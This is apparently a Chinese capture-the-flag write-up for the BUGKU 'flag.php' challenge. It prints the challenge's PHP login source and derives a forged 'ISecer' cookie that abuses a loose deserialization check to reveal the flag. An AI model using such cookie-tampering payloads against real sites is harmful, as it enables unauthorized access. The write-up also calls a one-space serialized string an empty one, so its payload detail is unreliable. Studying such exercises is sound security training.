BUGKU flag.php
在用户名密码填hint都没有反应,作参数传入
得
<?php
error_reporting(0); //不报错
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") //反序列化的变量cookie等于变量KEY时,输出flag
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com'; //干扰,对上面的$KEY不起任何作用
?>
第一个$KEY没有赋值,则值为NULL,则 $cookie为NULL的反序列化,既 $_COOKIE的’ISecer’ 是空字符的序列化。(反序列化空字符的序列化就是空字符)
<?php
$a = serialize(" ");//空字符
print($a);
?>
结果
ISecer = s:1:" ";
在hackbar的cookie传入
找到一个免费hackbar